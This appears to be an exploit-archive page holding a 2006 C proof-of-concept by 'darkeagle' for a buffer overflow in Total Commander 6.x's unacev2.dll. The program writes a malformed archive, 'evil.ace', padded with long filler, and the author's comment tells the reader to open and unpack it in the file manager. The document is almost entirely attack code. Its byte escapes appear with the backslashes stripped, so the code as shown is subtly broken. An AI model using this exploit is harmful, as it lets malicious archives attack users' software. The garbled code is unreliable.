[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Total Commander 6.x (unacev2.dll) Buffer Overflow PoC Exploit
# Published : 2006-04-02
# Author : darkeagle
# Previous Title : Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow PoC
# Next Title : mpg123 0.59r Malformed mp3 (SIGSEGV) Proof of Concept
/*
--
/
/ Total Commander unacev2.dll Buffer Overflow PoC Exploit
/ by Darkeagle of Unl0ck Research Team
/ http://unl0ck.net
/
/ when file will be created, try to open archive in TotalCmd and then unpack it ;)
/
/
--
*/
#include <string.h>
#include <stdio.h>
unsigned char evil_ace[] =
"x29x8Fx31x00x00x00x90x2Ax2Ax41x43x45x2Ax2Ax14x14"
"x02x00x79xB5x7Fx34xFExE2x05xA5x00x00x00x00x16x2A"
"x55x4Ex52x45x47x49x53x54x45x52x45x44x20x56x45x52"
"x53x49x4Fx4Ex2Ax7Fx30x1Ex01x01x01x00x00x00x00x00"
"x00x00x00x00x75xB5x7Fx34x20x00x00x00xFFxFFxFFxFF"
"x00x03x0Ax00x54x45xFFx00x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61"
"x61x61x61x2Ex74x78x74";
int main()
{
FILE *ace;
ace = fopen("evil.ace", "w+b");
fwrite(evil_ace, 1, sizeof(evil_ace)-1, ace);
fclose(ace);
return 0;
}
// www.Syue.com [2006-04-02]